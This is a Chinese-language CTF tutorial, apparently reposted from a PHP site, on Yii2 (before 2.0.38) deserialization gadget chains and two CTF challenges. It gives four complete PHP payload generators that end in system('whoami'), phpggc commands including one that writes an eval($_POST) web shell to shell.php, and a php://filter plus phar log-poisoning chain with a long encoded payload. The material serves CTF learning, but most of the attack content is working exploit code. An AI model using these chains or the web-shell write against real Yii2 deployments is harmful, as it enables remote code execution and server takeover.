A few selected CTF exercises will help you learn the yii2 framework!
Feb 23, 2022 am 10:33 AM本篇文章帶大家了解yii2框架,分享幾道CTF習題,通過它們來學習yii2框架,希望對大家有所幫助。
Yii
是一套基于組件、用于開發(fā)大型 Web 應用的高性能 PHP 框架,Yii2 2.0.38
之前的版本存在反序列化漏洞,程序在調用unserialize()
時,攻擊者可通過構造特定的惡意請求執(zhí)行任意命令,本篇就分析一下yii2
利用鏈以及如何自己去構造payload
,并結合CTF題目去學習yii2
框架
Yii2<2.0.38反序列化
安裝:在 https://github.com/yiisoft/yii2/releases下載2.0.37
的版本
然后在 yii-basic-app-2.0.37\basic\config\web.php
里面往cookieValidationKey
隨意給點值,運行 php yii serve
,新建一個控制器
yii-basic-app-2.0.37\basic\controllers\TestController.php
<?php namespace app\controllers; use yii\web\Controller; class TestController extends Controller{ public function actionTest($name){ return unserialize($name); } }
就可以進行測試了
?r=test/test&name=
鏈一
鏈的入口在
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\db\BatchQueryResult.php
public function __destruct() { // make sure cursor is closed $this->reset(); }
跟進$this->reset();
public function reset() { if ($this->_dataReader !== null) { $this->_dataReader->close(); }
這里的$this->_dataReader
可控,并調用了close()
方法,那么可以找到一個類不存在close()
方法,但存在__call
方法就可以調用他了
在yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2-gii\src\Generator.php
public function __call($method, $attributes) { return $this->format($method, $attributes); }
這里的$method
為close
,$attributes
為空,繼續(xù)跟進format
public function format($formatter, $arguments = array()) { return call_user_func_array($this->getFormatter($formatter), $arguments); }
跟進getFormatter
public function getFormatter($formatter) { if (isset($this->formatters[$formatter])) { return $this->formatters[$formatter]; }
似曾相識的代碼,laravel5.8
某條鏈就出現(xiàn)過,這里$this->formatters
可控,也就是$this->getFormatter($formatter)
這這個可控,但是$arguments
的值我們無法控制,值為空
到這里可以執(zhí)行phpinfo
了
<?php namespace yii\db{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader = $_dataReader; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace { $a = new Faker\Generator(array('close'=>'phpinfo')); $b = new yii\db\BatchQueryResult($a); print(urlencode(serialize($b))); }
但是我們想要rce
的話,還要在yii2
中已有的無參方法中進行挖掘
這里我們可以使用正則匹配直接搜索含有call_user_function
的無參函數(shù)
call_user_func\(\$this->([a-zA-Z0-9]+), \$this->([a-zA-Z0-9]+)
然后找到下面兩個都比較好用
yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\IndexAction.php public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); } return $this->prepareDataProvider(); } yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\rest\CreateAction.php public function run() { if ($this->checkAccess) { call_user_func($this->checkAccess, $this->id); }
這里的$this->checkAccess
和$this->id
都是我們可控的
所以直接構造就行了
<?php namespace yii\db{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader = $_dataReader; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('close'=>array($c, 'run'))); $a = new yii\db\BatchQueryResult($b); print(urlencode(serialize($a))); }
鏈二
這個是yii2 2.0.37
的另外一條鏈
起點和鏈一相同,是BatchQueryResult
類的__destruct
,然后是$this->_dataReader->close()
,但是這里不找__call
,我們?nèi)フ掖嬖?code>close方法的類
找到yii-basic-app-2.0.37\basic\vendor\yiisoft\yii2\web\DbSession.php
class DbSession extends MultiFieldSession { ... public function close() { if ($this->getIsActive()) { // prepare writeCallback fields before session closes $this->fields = $this->composeFields();
這里跟進$this->composeFields()
abstract class MultiFieldSession extends Session { protected function composeFields($id = null, $data = null) { $fields = $this->writeCallback ? call_user_func($this->writeCallback, $this) : [];
這里$this->writeCallback
可控,$this
是一個對象,所以這里調phpinfo
的話應該不行,不過可以續(xù)上鏈一的run
方法(即那個無參的方法)
這里直接構造即可
<?php namespace yii\db{ class BatchQueryResult{ private $_dataReader; public function __construct($_dataReader) { $this->_dataReader = $_dataReader; } } } namespace yii\web{ class DbSession{ public $writeCallback; public function __construct($writeCallback) { $this->writeCallback = $writeCallback; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new yii\web\DbSession(array($c, 'run')); $a = new yii\db\BatchQueryResult($b); print(urlencode(serialize($a))); }
鏈三
我們可以在yii2 2.0.38
的commit
看到他加了一個__wakeup
這里限制了鏈一的起點BatchQueryResult
無法使用,后面的__call
的鏈沒有被破壞,所以我們繼續(xù)尋找一個__destruct
yii-basic-app-2.0.37\basic\vendor\codeception\codeception\ext\RunProcess.php
public function __destruct() { $this->stopProcess(); }
這里繼續(xù)跟進stopProcess
public function stopProcess() { foreach (array_reverse($this->processes) as $process) { /** @var $process Process **/ if (!$process->isRunning()) { continue; }
這里的$this->processes
可控,所以可以利用$process->isRunning()
來進行觸發(fā)__call
后面的利用就和鏈一相同了
<?php namespace Codeception\Extension{ class RunProcess{ private $processes = []; public function __construct($processes) { $this->processes[] = $processes; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('isRunning'=>array($c, 'run'))); $a = new Codeception\Extension\RunProcess($b); print(urlencode(serialize($a))); }
鏈四
同樣的先找__destruct
yii-basic-app-2.0.37\basic\vendor\swiftmailer\swiftmailer\lib\classes\Swift\KeyCache\DiskKeyCache.php
public function __destruct() { foreach ($this->keys as $nsKey => $null) { $this->clearAll($nsKey); } }
這里$nsKey
可控,跟進clearAll
public function clearAll($nsKey) { if (array_key_exists($nsKey, $this->keys)) { foreach ($this->keys[$nsKey] as $itemKey => $null) { $this->clearKey($nsKey, $itemKey); } if (is_dir($this->path.'/'.$nsKey)) { rmdir($this->path.'/'.$nsKey); } unset($this->keys[$nsKey]); } }
這里沒有觸發(fā)__call
的地方,但是存在字符串的拼接,可以觸發(fā)__toString
隨便找找就找到了yii-basic-app-2.0.37\basic\vendor\codeception\codeception\src\Codeception\Util\XmlBuilder.php
public function __toString() { return $this->__dom__->saveXML(); }
同樣用他去觸發(fā)__call
<?php namespace { class Swift_KeyCache_DiskKeyCache{ private $path; private $keys = []; public function __construct($path,$keys) { $this->path = $path; $this->keys = $keys; } } } namespace Codeception\Util{ class XmlBuilder{ protected $__dom__; public function __construct($__dom__) { $this->__dom__ = $__dom__; } } } namespace Faker{ class Generator{ protected $formatters = array(); public function __construct($formatters) { $this->formatters = $formatters; } } } namespace yii\rest{ class CreateAction{ public $checkAccess; public $id; public function __construct($checkAccess,$id){ $this->checkAccess = $checkAccess; $this->id = $id; } } } namespace { $c = new yii\rest\CreateAction('system','whoami'); $b = new Faker\Generator(array('saveXML'=>array($c,'run'))); $a = new Codeception\Util\XmlBuilder($b); $d = new Swift_KeyCache_DiskKeyCache($a,array('kawhi'=>'kawhi')); print(urlencode(serialize($d))); }
phpggc
使用./phpggc -l yii2
可以看到有兩條yii2
的鏈
可以使用如下命令快速得到鏈,-u
指url
編碼
./phpggc Yii2/RCE1 system id -u
phpggc
的鏈二的終點是一個eval
,所以這里可以直接寫shell
,-b
指base64
編碼
./phpggc Yii2/RCE2 'file_put_contents("shell.php",base64_decode("PD9waHAgZXZhbCgkX1BPU1RbMV0pPz4="));' -b
CTF題目
[HMBCTF 2021]framework
把題目附件解壓,看到html\controllers\SiteController.php
class SiteController extends Controller { public function actionAbout($message = 'Hello') { $data = base64_decode($message); unserialize($data); }
這里可以這樣傳參
?r=site/about&message=
拿鏈一打了一下,發(fā)現(xiàn)一下system
等函數(shù)被ban
這里用phpggc yii2
的鏈二寫一個shell
進去,然后用蟻劍的 apache/mod
繞 disable
,運行 /readflag
即可獲取 flag
[CISCN2021 Quals]filter
據(jù)說這是配置文件里面的重要內(nèi)容,或許對你有用??!
'log' => [ 'traceLevel' => YII_DEBUG ? 0 : 0, 'targets' => [ [ 'class' => 'yii\log\FileTarget', 'levels' => ['error'], 'logVars' => [], ], ], ],
看到附件的SiteController.php
就改了這個地方
public function actionIndex() { $file = Yii::$app->request->get('file'); $res = file_get_contents($file); file_put_contents($file,$res); return $this->render('index'); }
yii
框架的runtime/logs
目錄下有一個app.log
看一下依賴發(fā)現(xiàn)monolog
符合
"require": { "php": ">=5.6.0", "yiisoft/yii2": "~2.0.14", "yiisoft/yii2-bootstrap": "~2.0.0", "yiisoft/yii2-swiftmailer": "~2.0.0 || ~2.1.0", "monolog/monolog":"1.19" },
首先清空日志文件
?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
phpggc
生成
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "phpinfo" "1" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
寫入日志,注意最后面要加個字符a
/?file==50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=71=00=39=00=41=00=67=00=41=00=41=00=41=00=67=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=42=00=6D=00=41=00=67=00=41=00=41=00=54=00=7A=00=6F=00=7A=00=4D=00=6A=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=46=00=4E=00=35=00=63=00=32=00=78=00=76=00=5A=00=31=00=56=00=6B=00=63=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=32=00=39=00=6A=00=61=00=32=00=56=00=30=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=49=00=35=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=35=00=76=00=62=00=47=00=39=00=6E=00=58=00=45=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=4A=00=63=00=51=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=53=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=36=00=4E=00=7A=00=70=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=61=00=47=00=46=00=75=00=5A=00=47=00=78=00=6C=00=63=00=69=00=49=00=37=00=54=00=7A=00=6F=00=79=00=4F=00=54=00=6F=00=69=00=54=00=57=00=39=00=75=00=62=00=32=00=78=00=76=00=5A=00=31=00=78=00=49=00=59=00=57=00=35=00=6B=00=62=00=47=00=56=00=79=00=58=00=45=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=63=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=41=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=68=00=68=00=62=00=6D=00=52=00=73=00=5A=00=58=00=49=00=69=00=4F=00=30=00=34=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=55=00=32=00=6C=00=36=00=5A=00=53=00=49=00=37=00=61=00=54=00=6F=00=74=00=4D=00=54=00=74=00=7A=00=4F=00=6A=00=6B=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=69=00=49=00=37=00=59=00=54=00=6F=00=78=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=59=00=54=00=6F=00=79=00=4F=00=6E=00=74=00=70=00=4F=00=6A=00=41=00=37=00=63=00=7A=00=6F=00=78=00=4F=00=69=00=49=00=78=00=49=00=6A=00=74=00=7A=00=4F=00=6A=00=55=00=36=00=49=00=6D=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=31=00=39=00=63=00=7A=00=6F=00=34=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=73=00=5A=00=58=00=5A=00=6C=00=62=00=43=00=49=00=37=00=54=00=6A=00=74=00=7A=00=4F=00=6A=00=45=00=30=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=70=00=62=00=6D=00=6C=00=30=00=61=00=57=00=46=00=73=00=61=00=58=00=70=00=6C=00=5A=00=43=00=49=00=37=00=59=00=6A=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=4A=00=31=00=5A=00=6D=00=5A=00=6C=00=63=00=6B=00=78=00=70=00=62=00=57=00=6C=00=30=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=4D=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=42=00=79=00=62=00=32=00=4E=00=6C=00=63=00=33=00=4E=00=76=00=63=00=6E=00=4D=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=33=00=56=00=79=00=63=00=6D=00=56=00=75=00=64=00=43=00=49=00=37=00=61=00=54=00=6F=00=78=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=49=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=45=00=7A=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=69=00=64=00=57=00=5A=00=6D=00=5A=00=58=00=4A=00=54=00=61=00=58=00=70=00=6C=00=49=00=6A=00=74=00=70=00=4F=00=69=00=30=00=78=00=4F=00=33=00=4D=00=36=00=4F=00=54=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=49=00=6A=00=74=00=68=00=4F=00=6A=00=45=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=68=00=4F=00=6A=00=49=00=36=00=65=00=32=00=6B=00=36=00=4D=00=44=00=74=00=7A=00=4F=00=6A=00=45=00=36=00=49=00=6A=00=45=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=54=00=6F=00=69=00=62=00=47=00=56=00=32=00=5A=00=57=00=77=00=69=00=4F=00=30=00=34=00=37=00=66=00=58=00=31=00=7A=00=4F=00=6A=00=67=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=78=00=6C=00=64=00=6D=00=56=00=73=00=49=00=6A=00=74=00=4F=00=4F=00=33=00=4D=00=36=00=4D=00=54=00=51=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=6C=00=75=00=61=00=58=00=52=00=70=00=59=00=57=00=78=00=70=00=65=00=6D=00=56=00=6B=00=49=00=6A=00=74=00=69=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4E=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=6E=00=56=00=6D=00=5A=00=6D=00=56=00=79=00=54=00=47=00=6C=00=74=00=61=00=58=00=51=00=69=00=4F=00=32=00=6B=00=36=00=4C=00=54=00=45=00=37=00=63=00=7A=00=6F=00=78=00=4D=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=63=00=48=00=4A=00=76=00=59=00=32=00=56=00=7A=00=63=00=32=00=39=00=79=00=63=00=79=00=49=00=37=00=59=00=54=00=6F=00=79=00=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保留phar
的內(nèi)容
/?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/logs/app.log
最后用phar
協(xié)議打一下
/?file=phar://../runtime/logs/app.log/test.txt
然后在根目錄找到This_is_flaaagggg
然后用這個找一下flag
即可
php -d'phar.readonly=0' ./phpggc Monolog/RCE1 "system" "cat /This_is_flaaagggg" --phar phar -o php://output | base64 -w0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:].zfill(2) + '=00' for i in sys.stdin.read()]).upper())"
本文涉及相關實驗:PHP反序列化漏洞實驗 (通過本次實驗,大家將會明白什么是反序列化漏洞,反序列化漏洞的成因以及如何挖掘和預防此類漏洞。
相關文章教程推薦:《yii框架教程》
The above is the detailed content of A few selected CTF exercises will help you learn the yii2 framework!. For more information, please follow other related articles on the PHP Chinese website!

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